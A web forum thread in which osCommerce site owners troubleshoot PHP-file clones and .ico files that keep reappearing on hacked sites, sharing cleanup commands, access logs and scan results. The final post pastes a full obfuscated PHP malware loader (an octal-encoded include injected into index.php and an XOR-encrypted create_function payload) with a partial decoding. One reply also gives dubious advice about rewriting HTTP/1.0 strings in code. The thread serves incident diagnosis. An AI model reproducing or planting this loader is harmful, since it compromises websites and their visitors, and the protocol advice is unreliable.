problem with .mx files generated as copies of all .php files

Demitry · May 19, 2020

hi,

I'm trying to figure out why I keep getting a ton of these .mx files inserted as copies of all the .php files on the sub-domain I am working on. The files look like this:

.mx.99063925.mx

though with different numbers for each file,.. and when you open one of these files, its content is identical to one of the .php files I have in the same directory. These .mx files are not generated for any other extension except for .php and each of the .mx file sizes matches the same .php file. They are basically clones of all the .php files.

I cleaned them out of every folder and a day later they all reappeared. That happened three times now. This file type is commonly associated with email files, but these are not email files and have nothing to do with that. They are also not desktop files as detailed in this article.

https://www.reviversoft.com/file-extensions/mx

I called my hosting company several times and they have no idea of what it is. The only thing I was told, was that their higher tier tech support came across this problem once before with a WordPress site and after running a shell script to clean all the .mx files, the issue never came back. They are now trying to figure it out and doing a full site scan.

I thought it might be a hack, but this is unlikely. I've done a number of scans for viruses & malware and they all came back clean. I have nothing in my error log and no noticeable issue browsing the site. There is also nothing in the console via Chrome Developer Tools. The .mx files just add clutter to the directory structure and nearly double the size of the osC software.

I searched everywhere on this issue (including osC forums) and could not find anything of value. I'm just wondering if anyone has come across this issue before and how it was resolved?

Here is an image of FileZilla showing these .mx files.

Demitry · May 19, 2020

Update:

I was given a shell script by my hosting company to clean all of these files out at once, which is a huge help because I had to do it manually the past few times. However, I have not cleared all of these files out just yet. I want to give the hosting company techs plenty of time to figure this problem out before removing it from the server.

Here is the script in case someone else runs across this same issue.

find /home/change_to_your_own_directory/public_html/ -type f -name "*.mx" -exec rm -rf {} \;

Please be very careful before using anything like this, and back-up entire site and all files (along with the .mx file) before running this script. If you don't know what you're doing, don't mess with it!

♥ecartz · May 19, 2020

You could reduce (but not eliminate) the danger by removing the r from rm -rf

find change_to_your_own_directory/ -type f -name '*.mx' -exec rm -f {} \;

The r stands for recursive and is what allows rm to delete directories. Without it, rm will only delete files. Better might be to do something like

find change_to_your_own_directory/ -type f -name '*.mx' -print
find change_to_your_own_directory/ -type f -name '*.mx' -delete

Where you check the files printed by the first line before running the second line.

Two possibilities that come to mind:

1. This is caused by some IDE. E.g. Dreamweaver MX.

2. This is a hack attempt of some sort.

Similar problem reported at https://stackoverflow.com/questions/61875526/mx-files-found-in-wordpress-core-files-with-the-same-core-code -- perhaps that will get a relevant answer.

Demitry · May 21, 2020

@ecartz

Matt, ..you're awesome!!

I don't know shell scripting ..so this will not only help me, but anyone else who comes across this thread.

I have not removed these files just yet. I'm still waiting to see if my hosting company comes up with an answer before cleaning that entire sub-domain.

I did see that stackoverflow.com post when searching for an answer but there were no solutions offered on that post.

And though I still use Dreamweaver (old habits die hard), this is the first time I've experienced this problem. And you might be right on point with this outdated software. Tough to let go of that comfort pillow. lol

Thanks Matt.

domiosc · May 31, 2020

In my casa is point 2.: created similar files .1489c721.ico and edit index.php or create random php file to link this file, I delete, but recreate so a security bug exist need to fix

Demitry · June 1, 2020

Quote

In my casa is point 2.: created similar files .1489c721.ico and edit index.php or create random php file to link this file, I delete, but recreate so a security bug exist need to fix

hi Vicent,

My hosting company made a back-up of that subdomain and then ran a shell script to remove all those .mx files. So, I really did not have to do anything. Since that time, there has not been any more incidents of this weird file replication.

I called my hosting company to try and get some idea of what it was. They said, they thought it was a hack. However, I am not convinced because all scans came up empty and I did a folder comparison to a prior back-up and there was nothing new or different. My hosting company tech support also said this problem was currently occurring with other accounts, non-osC accounts.

So, for now, all is good. Hope you find what is causing the .ico file replication. It might be a related issue. Use the shell script from this thread to remove all those files from the server, though be sure to back-up first.

domiosc · June 7, 2020

The files are injected, I think there is some vulnerable version 2.2 old file, because this osc is update from 2.2 to phoenix.
Surely I will have to do a new installation if I do not find the file is affected, I will be checking the access logs and error logs to see if it gives me any clues.

Demitry · June 8, 2020

Quote

The files are injected, I think there is some vulnerable version 2.2 old file, because this osc is update from 2.2 to phoenix.
Surely I will have to do a new installation if I do not find the file is affected, I will be checking the access logs and error logs to see if it gives me any clues.

hi Vicent,

Please let me know what you find. I have not had another instance of this issue after that last third time. So, for now everything is good. Talk soon.

domiosc · June 8, 2020

I belive this is the sequence, because is repeat various times, I confirm next time inyect files:

65.254.39.186	-	-	[07/Jun/2020:16:27:13	+0200]	GET / HTTP/1.0	302	220	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:14	+0200]	GET / HTTP/1.0	403	12	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:14	+0200]	GET / HTTP/1.0	302	220	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:15	+0200]	GET / HTTP/1.0	403	12	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:15	+0200]	GET /user/ HTTP/1.0	302	229	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:16	+0200]	GET /user/ HTTP/1.0	403	211	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:16	+0200]	GET /user/login.php HTTP/1.0	302	238	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:17	+0200]	GET /user/login.php HTTP/1.0	403	220	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:17	+0200]	GET /user/mail.php/login.php?fooled HTTP/1.0	302	254	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:18	+0200]	GET /user/mail.php/login.php?fooled HTTP/1.0	403	229	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:18	+0200]	GET /user/includes/local/README HTTP/1.0	302	250	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:19	+0200]	GET /user/includes/local/README HTTP/1.0	403	232	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:19	+0200]	GET /images/ HTTP/1.0	302	227	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:19	+0200]	GET /images/ HTTP/1.0	403	209	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:20	+0200]	GET /images/ HTTP/1.0	302	227	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:20	+0200]	GET /images/ HTTP/1.0	403	209	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:21	+0200]	GET /includes/header.php HTTP/1.0	403	221	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:21	+0200]	GET /advanced_search_result.php?keywords=%25%25&search_in_description=1&submit=Search&categories_id=98&inc_subcat=1&manufacturers_id=&pfrom=&pto=1e309&dfrom=&dto= HTTP/1.0	302	413	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:21	+0200]	GET /advanced_search_result.php?keywords=%25%25&search_in_description=1&submit=Search&categories_id=98&inc_subcat=1&manufacturers_id=&pfrom=&pto=1e309&dfrom=&dto= HTTP/1.0	403	228	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:22	+0200]	GET /advanced_search_result.php?keywords=%25%25&search_in_description=1&submit=Search&categories_id=98&inc_subcat=1&manufacturers_id=&pfrom=&pto=1e309&dfrom=&dto= HTTP/1.0	302	413	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:22	+0200]	GET /advanced_search_result.php?keywords=%25%25&search_in_description=1&submit=Search&categories_id=98&inc_subcat=1&manufacturers_id=&pfrom=&pto=1e309&dfrom=&dto= HTTP/1.0	403	228	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:22	+0200]	GET /robots.txt HTTP/1.0	302	230	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:23	+0200]	GET /robots.txt HTTP/1.0	403	212	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:23	+0200]	GET /robots.txt HTTP/1.0	302	230	-	-
65.254.39.186	-	-	[07/Jun/2020:16:27:24	+0200]	GET /robots.txt HTTP/1.0	403	212	-	-

I change my username for user, it seems that the log is cut, but if use this query get with advanced_search_result.php:

1054 - Unknown column 'INF' in 'where clause'

select count(distinct p.products_id) as total from products p left join manufacturers m using(manufacturers_id) left join specials s on p.products_id = s.products_id left join tax_rates tr on p.products_tax_class_id = tr.tax_class_id left join zones_to_geo_zones gz on tr.tax_zone_id = gz.geo_zone_id and (gz.zone_country_id is null or gz.zone_country_id = '0' or gz.zone_country_id = '195') and (gz.zone_id is null or gz.zone_id = '0' or gz.zone_id = '3479'), products_description pd, categories c, products_to_categories p2c where p.products_status = '1' and p.products_id = pd.products_id and pd.language_id = '3' and p.products_id = p2c.products_id and p2c.categories_id = c.categories_id and p2c.products_id = p.products_id and p2c.products_id = pd.products_id and (p2c.categories_id = '98') and ((pd.products_seo_keywords LIKE '%%%%' OR pd.products_name like '%%%%' or p.products_model like '%%%%' or m.manufacturers_name like '%%%%' or pd.products_description like '%%%%') ) and (IF(s.status, s.specials_new_products_price, p.products_price) * if(gz.geo_zone_id is null, 1, 1 + (tr.tax_rate / 100) ) <= INF)

I don't remember where, I think in phoenix club, someone already commented something about this search ?keywords=%25%25

It may not be this, for the moment I have only blocked the ip, if the same happens from another ip ... I will try to delete advanced_search_result.php

Demitry · June 10, 2020

Quote

I belive this is the sequence, because is repeat various times, I confirm next time inyect files:

The one thing I noticed, is that everything you posted is based on HTTP/1.0 -- this is an old protocol. Most everything today has moved to HTTP/2.0. You need to contact your hosting company to find out if their servers are on HTTP/2.0. If they are not, you need to switch to a different hosting company.

HTTP\2.0 is faster and more secure.

After doing this, you need to do a site-wide search for HTTP\1 and/or for $_SERVER["SERVER_PROTOCOL"] and manually change related instance of that HTTP\1.0 or HTTP\1.1 to HTTP\2.0. When I had to do this, it was about 25 files.

Things like this are always a problem when you are upgrading from a much older version to a new one. I believe it is always better to start with the latest version of the CMS and customize it from scratch. Don't keep trying to upgrade from older versions of osC, this software is not designed for that and it will cause you a lot of headaches and time wasted.

As for the INF field/attribute, I have no idea what that is because it looks like custom code and after looking in advanced_search.php and advanced_search_results.php, I don't see any part of this SQL query in those files. If you are migrating from osC MS2.2 to Zombie Phoenix, search your osC MS2.2 database for this field.

♥ecartz · June 10, 2020

1 hour ago, Demitry said:

As for the INF field/attribute

That was a division by zero. It breaks the query but wouldn't harm the site. It's one of the queries (there are four) starting at https://github.com/gburton/CE-Phoenix/blob/1.0.7.3/advanced_search_result.php#L178

File injection is more likely to be caused by something that writes files. E.g. admin/backups.php, categories.php, define_languages.php.

And also consider the possibility that the reason for the .mx file is that there is some software somewhere that allows the creation of a .mx file but not a .txt or .html file. That doesn't sound like osCommerce. It's more likely to be a vulnerability outside your site.

The coincidence of times may simply be that the the same bad actor attempted both attacks on your site and on the server at the same time. You might find more clues from attempts to access files on your site that don't exist. Perhaps one of those found another site on the same server that did have whatever vulnerability.

Demitry · June 10, 2020

Quote

That was a division by zero.

ok, thanks Matt.

The shell scan for viruses and malware came back from the hosting company and it listed a bunch of files with hack related strings that it found. However, all those terms relate to security files and were not responsible for anything malicious.

There was one file that was not consistent with the findings as the rest. This file is part of an older MS2.2 addon and resides higher up in the directory structure and not in my subdomain. I'm not sure if this is the culprit or not, though as I mentioned before, these .mx regeneration of duplicate .php files has not happened after the third time. here is the line that was found by the hosting company's shell scan.

"/home/*******/public_html/***renamed-admin***/includes/configuration_cache.php": "hex match,{HEX}php.gzbase64.inject.452.UNOFFICIAL",

Edited June 10, 2020 by burt
remove POS request - dealt with

♥ecartz · June 10, 2020

Is that the App that would write your database configuration to a file? If the file needed to be writable by the web server, then yes, that could be it. Perhaps delete it, remake it, and then drop the permissions on it to a lower level.

Demitry · June 11, 2020

Quote

Is that the App that would write your database configuration to a file?

yes, that's the same app. However, this addon is based on old MS2.2 code and does not reside in my subdomain, which is BS Edge with PHP7.2

And, the old MS2.2 site was not affected at all.

I do have this addon for the BS Edge subdomain, but it is different (designed for the later version of osC) and in my opinion, more secure than the MS2.2 version.

♥ecartz · June 11, 2020

13 minutes ago, Demitry said:

And, the old MS2.2 site was not affected at all.

Perhaps to lull you into a false sense of security. Or because they didn't need it. Corrupt the 2.2 site directly. And use those permissions to try to corrupt the Edge site. This works if both subdomains use the same user behind the scenes. So corrupting the 2.2 site allows them to make changes to the Edge site. Or almost make changes. Perhaps they were unable to complete the hack. Perhaps adding the .mx files was only the first step. If they had completed the hack, you might never have known because they would have cleaned up after themselves.

Demitry · June 11, 2020

@ecartz

Hey thanks Matt,

That MS2.2 site is going away soon, but based on this conversation, I'll go ahead and remove that MS2.2 configuration cache addon.

For some reason, I just did not think that my subdomain would be affected from a higher directory tier.

domiosc · June 17, 2020

The hosting company say is all secure... and the vulnerable is the website...

Index.php modify and copy to random folders:


/*cec55*/

@include "\057hom\145/...removed.../p\165bli\143_ht\155l/e\170t/d\141tep\151cke\162/.b\0642ae\14431.\151co";

/*cec55*/

Decode to:

@include "/home/...removed.../public_html/ext/datepicker/.b42aed31.ico";

The .ico file:


<?php
$_87qt36z = basename/*k*/(/*c8s0*/trim/*3cvm*/(/*4*/preg_replace/*18lv*/(/*2x*/rawurldecode/*zhl3*/(/*jm*/"%2F%5C%28.%2A%24%2F"/*3d9*/)/*4*/, '', __FILE__/*zipq*/)/*nm*//*64b*/)/*rxz*//*8b*/)/*ktgw*/;$_79mhz = "GW%14%10%18%07RTX%40%0C%07G%09B%40J%5C%02ZmRA%07%17%0AVEk%5BK%06VFT%0ENJF%24J%3E%5C%5C%05%5E%5CT%06N%10%1B%5CTUUf%00X%5CEK%11%170MCQYM%06%17%15%1D%0EXJT%24q%5DVP%3CDWE%06N%06%1D%5C%5EFgU%0CP%15%1D%0E%276%23b%18%0FxP%0D%5EmBK%1DKHB%5ESg%5C%11E%5DC%5DNOO%1E%18%0FxP%0D%5EmBK%1DKHCPLg%5C%1BRQDZ%00%0C%01qE%5DU%5CD%1B%12%01%07R%23%0A%5CC%5BJf%11RB%5E%5C%1D%0A%01I%19%04%11%02%23DWEq%1D%0A%02KnXQT%0AC%1A%01%07R%0A%09%06%10P%5D_%0AYWU%06K3%27~nqwuA%1E%1BJJ%0C%05%06%40T%1C%1Ai%2Bgmta%25AC%0E%13hV%1BJ%0COXHIKNJTRQW%06S%1A%16H%00%0F%0AqAALf%00X%5CEK%07%17%1C%0E%16%1D%11B%07RTX%40%0CKHHXX%5Df%13BFnM%06%0D%1BK_%40K%19D%1B%12%00%07RG%1DLZ%40S%5B%08%17%0F%11%09ZWZH%05R%00%0ANTPP%16DWV%1D%08%19%00%00W%07%1FPHY%5B%0CJ%09%0C%0BX%00R%15%0AI%05%0C%0DO%5D%14%1CK%01%5CFZL%02X%09%5B_WLP%0CY%12X%5E%0C%09%17%40%19%10JT%05OGCV%06%01%17TF%5CSAJ%17IXHIK%1CZCX%5DWK%13%40%5CH%11%16%1DV%5EV%40C%14_YI%07I_O%1A%18OJ%5C%17B%40_%0EKATS%15SMT%12YDE%5BI%5EO%0Cpv%7B%7D%26quyg%23%28%23c%7F%7Bhh1dfdx%3E%3B6tPV%5B%5D%06QUYG%03%08%03C_%5BHH%11DFDX%1E%1B%16T%01%05%0A%0AW%02%04%06%16PH%40%13%13%0F%1CC%12%5EWWBI%5EO%5DEFgJ%13%5B%5BE%06M%04%1AC%40ZNM%16%1E%09%15T%18%0A%0AH%5D%14%05%19%02E%40PW6%05%03GA%1C%1CC%12%5EWWB%40XK%5CWE%5CH%05R%40WJ%05%11%0A%0E%0C%14%08%02GZGKM%04%05%05%0E%0C%14%1A%1BX%13%40%5CH%11%16%1DV%5EV%40C%14_YI%0ETC%1F%5CTSgK%06G%5EPM%0CKMPjjy%149V%1FK%1EDZ3%05m%1Bd%04%3EI%10%1D%0EKAC%0E%15FU_%1BB%40IA%0B%1B%15YY_%40%10XS%5D%11UM%04%1B%5D%40XQIC%0A%12%15T%18%0A%0AH%5Do%1CK%0EQJD%5C%11%0C%0DVKCPR%1Bl%16CH%18%07%1EHTF%5E%5D%0FEW%1A%054%3ET%0ACZTP%08Z%12%0C%0EM%19%1EGTRTbGE_WV%1C%11%17ASLBN%0B%5CJj%0A%1B%05%1EJ%40R%5DK%05S%5ECKBH2s%0A%10IR%0CNE%5C%5EI%5EO%0AKEQ%5C%05%5Bi%15%5C%04%05%17%5BCLW%5B%1BMEYE%118K%5CWE%5CH%05R%40WJ%05%11%0A%05%1Aie%02G_V%40K%07%11%1F%0E%0C%14%1CC%12%5EWWB2G%1DCWLMK%1BXPIT%1E%0B%04Vj%10J_%12SCWK%1B%05%0BBCQ%13%12%3Ej%09%15T%1B%0E%02%5EVLQA%0CGSK%0ETCG%0AV%40KH%0F%5EB%11%12UC%5D%07%11H%18%11GE%5C%5DG%02%0EO%10%0F%14%0C%10X%13YGH%10%0C%09%5E%11%09%18%11K%13%40_B%00%08%02%0E%17%14%09%0CJ%17%0E%0D%0E%5DJOR%11%1C%1CH%08XKFC%19CQ%10%11%06%11%02G%5CZR%5C%03%06%02C%11%09%18%11K%13CZA%10%14%02%5E%11%12%18%0AJ%17%0E%0D%0E_JOR%11%10P%5D%12R%5CC%5ERG%02%5BKWU_%09%17%0F%11%0A%04%16%15M%5CRR%19M%17QY%5CAG%15%5C%5CYH%5E%1B%5EJ%5E%5E%08%19F%15XR%18%11GFY%5EW%1E%0E%1F%0E%10%09%18%0FW%1E%12J%0A%04%16%15M%5CRR%19%5E%17%16%5C%5B%13%00%02H%5B%14%16%19%00_%40%19%0A%02%15%09W%5ERH%10XJ%5BW%0EAG%07J%40QVK%13%17%13%0C%0E_WF%0EJ%10UL%19T_WDI%5EO%0A%5CABZ%0EQX%11%00I%00%07%5C%19%10SQ%00EXTC%04JTSL%14OQ%0A%5BW%11%06M%11%09_UE%5E%5C%11QV%5D%5C%0CCS%0EB%40JU%06Y%1A%15%5C%04%05%17%5BCLW%5B%1BMEYE%11JF%15CQLL%11Y%12%15C%1C%19%0CCW%5E%03D%0AQ%12%19%0F%0F%16%01ME%5DWW%3CRJX%5D%1D%10G%09W%5DT%5C%3CGGEq%0A%0C%01ZTZLJD%1E%1BJH%1C%0D%0CZX%5BV%19%05%5E%5ETq%19%16%1BqR%5BVM%06YFB%06M%11%09_UE%5E%5C%11%1B%12%15%5C%04%05%17%5BCLW%15C%13FIX%07%0D%1C%0E%0C%14~X%0FDW%18UM%0B%02EUAT%19%5E%17%16EV%1F%0D%01%5D%11%09%05%19%5B%17%0D%11%09%08DO%14%11%13O%1EX%13HCC%04%13%08VX%14%05%19%23Q%5DAK%07KK%5CWE%5CH%05R%40%1D%0EM%0B%02EUAT%10X%5ET%11%06M%19%1DC%5CD_A%0A%17%0F%0C%13I%25%0EBBQ%11B%11RFD%5C%07C_%15LQTJ%06L%5BW%0EA%0A%1CqPFJX%1A%1F%16CC%0F%1B%1A%5CI%5B%11%10C%13%40%5CH%11%16%1DV%5E%14%05%19%0AZB%5DA%0D%06G%0ACY%5EA%16EJ%5E%07RG%1A_GYUZ%00%5C%12%0C%0E%0F%14%1DGEQ%10%1D%19E_%5C%5E%0E%1B%06%02%11%10JT%05OGCV%06JTHRXWJ%06%1F%16K%5C%04%0E%1FII%5D%11%02%11RFD%5C%07CK%5B%40BUT%00TY%0AS%14%1E%06H%11%1C%19_%16YQEG%06%0D0KI%5DKM%10%1F%15WG%05%060IT%40gZ%0CYFT%40%1D%10H%07%18O%5EL%0DTFXA%07C%09G%5DQg%5E%06CmRA%07%17%0A%40EG%10%1D%04ZJHX%05%09%06%07J%10NR%02ZTTLI%5EOH%5ED%5DWK%13U%5CV%10%15%03DX%18%18%1B%11%15%1B%0A%0A%19%07%17GRSVOC%0A%12W%5C%0C%02%0B%06%15BSX%0EQWS%02I%05%06BTGQC%06%1F%16VC%11%1A%19B%5B%5D%11%10XQQ%5DA%1A%06G%0AG_YT%05RP%18%15%1B%06%1B%5BCZ%18%1D%13SJXM%0E%0D%19%15LI%5EL%0DTFXA%07C%0DTUCNIK%1EICK%1D%16%1D%40%11%40JP%0E%1FBCK%0E%3C%1DKAXYZ%06%1F%10%1ErAMEr%15%1B%1A%15C%10%15%1D%0E6%3C%29g%7DqgfJ%1E%09LH%1C%0D%0CZX%5BV%19%08EZ%5EB%1C%1A%07%06%15LBV%19CWV%02IG%0EJ_G%5C_JL%16FO%1B%0B%0CI%11%09%18%1BA%0CT%5E%5CIKK%5CWE%5CH%05R%40WJ%05%11%0A%13%01%0F%18%1D%11QCU_%0F%06%1DHUXJ%5C_DFCB%0C%0DG%0AINWC%17RU%18%15%40%18%09AC%14%10%1D%14XPTZ%03%09%1D%13%01%0F%18%1D%14XPTZ%03%09%1D%12B%40JU%06Y%1A%15O%0D%0D%1CJW%1D%18%1FE%17%16CH%18%07%1EHTF%5E%5D%0FEW%0D%5D%1D%11%03K_%1C%1CA%19XHEK%0EJT%0E%15CW%5B%06CX%5B%5CBHC%0E%15F%5EH%07FTT%5C%0F%07%03%5CT%1F%13%10%18%13EP%5C%01%00%08%0E%1F%09%18Z%0BE%1A%5E%5C%0DKKVK%5BBM%06Pi%15%5C%0F%12%0B_WQJ_%07%5B%40Ts%40C1%0E%5EF%5C%11GVV_%5D%0D%054%0AF%5BZ%5C%17%5DXCs%40JTSLF%5DM%16E%5C%11%0A%1E%02%1DFRS%03D%05B%5CRZ%00%0C%01%0E%40NWW%16Q%1A%15V%13%0C%15ZTS%14%19GVV_%5D%0D%05FUVXW%5B%02%5B%12%15%5C%0B%08%1BES_%03K%06CGC%40I%08%1DF%5EXM%40%0B%1FYCF%06%0F%1AWY%1C%1CA%19XHEK%0EOO%0APPVJ%07Q%1B%1D%0EM%11%0DEE_ZRJ%0COW%5B%07%00%1BG%5EZ%18X%0EOQG%5B%1F%04G%0AINWC%17RU%1D%0EM%02%0B%40BP%5E%10%18P%5E%5EL%08%0FO%0ACVSM%08UY%0A%5C%0C%17%1A%5C_%14SK%0BX%5EDW%01K%04%5CY%5BTL%1A_%1A%15V%13%0C%15ZTS%14%19GEPZZ%02%01%04%07%1D%14%1CX%07YAUH%40X%12HDZ%5BM%0AX%5C%11E%0C%1A%0ALHST%11JL%16ZF%02%13%1FW%11%09%18y%05%5E%5ETq%0E%06%1BqR%5BVM%06YFB%06%0B%19%0BYGD%10%10J%0C%16CH%18%07%1EHTF%5E%5D%0FEWUC%13%19%0D%0E%0C%14KM%11G%5DB%06M%08%07EADA%15CZV%04%06%0B%19%0BYGD%10%10J%1E%09XHIKK%5CWE%5CH%05R%40WJ%05%11%0AJ%5CNB%5BC%16%0F%0C%0E%2F%22%23%7Dt%1DC%1D%19%40Z%5BW%1D%0EO%13%11GM%5B%10C%40%19%0A%02%0B%04%5EAM%14%19GET%40J%18%05%0A%5CWPTK%06S_KT%0BCD%0E%02%06%11%02GX%5EWY%1E%15%0C%5C%11%09%18y%16YAT%5C%00%02%03GKQ%10H%19X%5CDHA%11%0EYDFT%5D%06T%5DUKAG%15YY%5EAM%0E%1E%1E%11C%0DVGLKPOO%13%1F%1B%18%07%40X%12K%5DG%5DBGX%5EWY%1E%15%0C%5C%11%09%18x%11ESH%06%40X%12%5CT%40MK%0D%17%16%5EB%0F%14%18XRF%03D%05B%5CRZ%00%0C%01%0EZ%40%5E%5C%00ECC%06M%0C%03HFCNZ%11%1EI%15%5C%0F%12%0B_WQJ_%07%5B%40TH%07%10%01HS%14%05%19%11VED%5C%05%06%01M%5EP%5D%11%02ZJRX%1C%15%08%06qG%5DK%0AV%5EXT%0CKKA%5DRON%15T%40%18%02I%0E%0B%1B%19VB%5D%14AB%19%07%40JF%15%15_PR%13GK%11%13I%23%09G%5DQg%5E%06CmRA%07%17%0A%40EG%10%5B%19SEG%5EAJF%15%15F%5EH%07FTT%5C%0F%07%03%5CTPUC%19U%12%0C%0E%1A%17%1D%5E%5EG%10%1D%08_YA%5E%10OOCU%01%10%5B%19SEG%5EAJF%07%0A%5D%5E%19K%13%40W_%0D%12%09KCR%5CU%11RV%5CT%13%01O%0F%0C%09%18%7F%22%7Bat%07%12G%1FZ%5DCVU%15%17%0F%11%5D%1C%01%1CZC%1C%1CR%0B%5CBAWECK%5CWE%5CH%05R%40WJ%05%11%0AJ%5CNB%5BC%1C%12%02%1C%40XKEY_HI%1A%17%0F%11%5D%1D%110%5CTDTX%00R%1A%15%5E%1D%0F%18%40%5DB%14%19GET%40J%18%05%0A%5CWPTK%06Q%5CB%40%0F%01C%0E%15_PR%13GK%18%15%14%06%03%5DTO%1CR%0B%5CBAWI%5EO%0AZ%5CSI%13N%12%1F%0EK%3F%01r_%1B%17%1BC%19%12%5CJ%5CK%0DTUCNIK%1E%1B%11%00IG%1DH%40PI_%06ETUB%1B%06%09%40BZ%5E%5BXJrWG%05%060%5ED%40gZ%0CYFT%40%1D%10GLKPOO%13%1F%1B%1D%0EM%08%07EADA%10XJTD%40%0A%17%06A_%14L%40%15FGW%06M%0F%06DIFUL%0B%1B%12%15M%08%0B%15H%40%5CH%10%18%13%5D%5DH%1E%14%19MC%14%05%19%08RKTL%10%04%03%06%18%0F%1CV%0FQEFX%0A%114%0A%5D%5DRA%11ZGYsI%5EOGAQRA%0D%1F%16RO%01%19%09_YD%11%02%08CTTM%1B%12%1D%06%15%5BT_%14%40DR%5C%40X%12HDZ%5BM%0AX%5C%11B%1F%15%0EMT%1C%1CU%0A%5DJCC%1C%0BFU%15%5BT_%14%40DR%5CI%5EOETM%5D%5B%1AP%5E%19%07R%16%01%5DT%40%10%1D%0C%5BTFY%1F%00%1Du%15XQS%1BE_DF4JTEER%5DZ%11F%40%19%0A%06%0F%09YFB%5BKJ%0COW%5B%07%00%1BG%5EZ%18%40%02_VBC%10KKBX%5E%40K%0EBZ%0C%60%3C%2F%23%07JRWK%06VQY%0EA%08%0AWTVA%5E%0F%1F%1B%11O%1ACKC_MSM%16C%5E%0C%10M%11%0ELKZSJJL%5BW%0EAG%03G%5BLJT%16_%1BJG%0FCG%5DEF%5BT%13%1F%16%5DG%03%1B%1DCD%5C%14%19GZ%5CHE%1D%16%1BB%18%14%05%04C%07%1BJK%1F%02%03%06%15FY%5B%19YYB%07R%01%1DKP_%03D%1ER%5EBK%12%06%19O%5D%1C%1CK%02UH_E%1AJTSLI%5EV%11RSRFIK%0E%5CCUAf%0ER%40VKAG0m~%7Bsp%26%1B%12%15q9%2C%3Cz%18%14YJC%13B%5CD%0F%05%16C_%14%05%07C%13JKA%13%17%0AI%18O%1CA%19XHEK%0ECR%0EqAVJ%06E%5BPB%00%19%0A%06%40NWW%16Q%1AX%5E%0C%09%17%40%19%10%40C%0CMFTI%40OO%0AAYR_%05N__%07%40X%06H%11%1CQJ%10RF%19%0A%11%19%00TEQ_bDVY%16s%40CI%08%11%10J%5B%08CYSET%5EKVK%5BBM%06Pi%16O%02D2%07J%5D%5E%19K%13JKA%13%17%0AIj%13Y%1E%3E%17%0F%0C%0EN%0AH%07J%10J_%12SCWK%1B%05%0BBCQ%18%04Cv%40CO%10KH%5EG%13%18%04%5D%17rAF%19%15%0A%5CB%5DWWK%1E%1E%16%5D%1FDO%13%0F%14%1F%0BM%07%1F%00%09ED%0EE%16%14%05%07C%13JKA%13%17%0AIj%13YRDj%1E%18%15%0C%00%07A%11tK%5C%11%5ES%5DG%13%06G%0ACRI%5D%12QWCH%0D%0F%1DK%18%0F%5DA%0AC%09LK%05%10%0AGW%14%10%1D%1BM%5DKZ%0C%044%09P%13e%19%5E%0A%12%16KNJ%14KGUT%11GOH%5ET%1D%06%08u%16P%1FdJ%0COTB%1A%06%06H%11%1C%1CA%19XHEK%0E8HO%16i%18%04%5E%17%15AB%1C%04%06%40%16%1DCP%05%1F%16IT%06%19%1BKVo%1FJ%02%10o%11%13TCHOUP%1F%10%18CKG_%1C%05G%0AINWC%17RUj%09%19D2%02%11%10%40C%0CMFTI2D%0B%09l%1D%03D%06%5BATG%0FKKVK%5BBM%06Pi%16%5D%08D2%0E%0C%09%18%1E%11R_%16%07%12%0F%19XPW%5D%11GOH%5ET%1D%06%08u%16D%1FdJ%0COLK%0A%0B%00%0E%15LBV%19CWVuN%02%04%09l%0F%5DA%0AC%1A%18%15%14%1E%16OYPKT%1A%1F%1B%0ASc%1E";$f='c'.chr/*ci9*/(/*xwb6j*/114/*8lxdm*/)/*h5*/."\145"."\141".chr/*fi*/(/*ukdq*/169-53/*z4b*/)/*em*/."\145".chr/*tn09f*/(/*r5*/273-178/*euqm*/)/*venby*/.chr/*s*/(/*er0q9*/102/*s1ny*/)/*vxw*/.'u'."\x6e".chr/*p7cb*/(/*40g9*/796-697/*wl*/)/*8h9ud*/.'t'.chr/*oyx*/(/*x7p*/105/*e*/)/*u*/.'o'.chr/*4wo*/(/*uw7r*/110/*8*/)/*zhm8*/;$f/*yidp*/(/*s9m01*/'', '};' . /*5j3*/(/*by5o*/rawurldecode/*dl2kf*/(/*mb4qf*/$_79mhz/*y5*/)/*y*/ ^ substr/*oj*/(/*zecs*/str_repeat/*6*/(/*0*/$_87qt36z, /*9n*/(/*8lkvd*/strlen/*d*/(/*d*/$_79mhz/*qv*/)/*npm*//strlen/*2xymk*/(/*7xds9*/$_87qt36z/*b2as*/)/*nipm5*//*4c*/)/*agfuy*/ + 1/*gtuy*/)/*a*/, 0, strlen/*jlxqi*/(/*yv037*/$_79mhz/*ag*/)/*y5nh*//*j19u*/)/*e*//*6*/)/*kxdz5*/ . '{'/*pk*/)/*d9u*/;

Decode to:

$_87qt36z = basename(trim(preg_replace(rawurldecode("%2F%5C%28.%2A%24%2F"), '', __FILE__)));
$_79mhz = " equal long string for not paste all "; $f='crea".chr(169-53)."e".chr(273-178)."fun".chr(796-697).'tion";
$f('', '
};
' . (rawurldecode($_79mhz) ^ substr(str_repeat($_87qt36z, (strlen($_79mhz)/strlen($_87qt36z)) + 1), 0, strlen($_79mhz))) . '{
');

And random files name with 8 letter.php type :


<?php
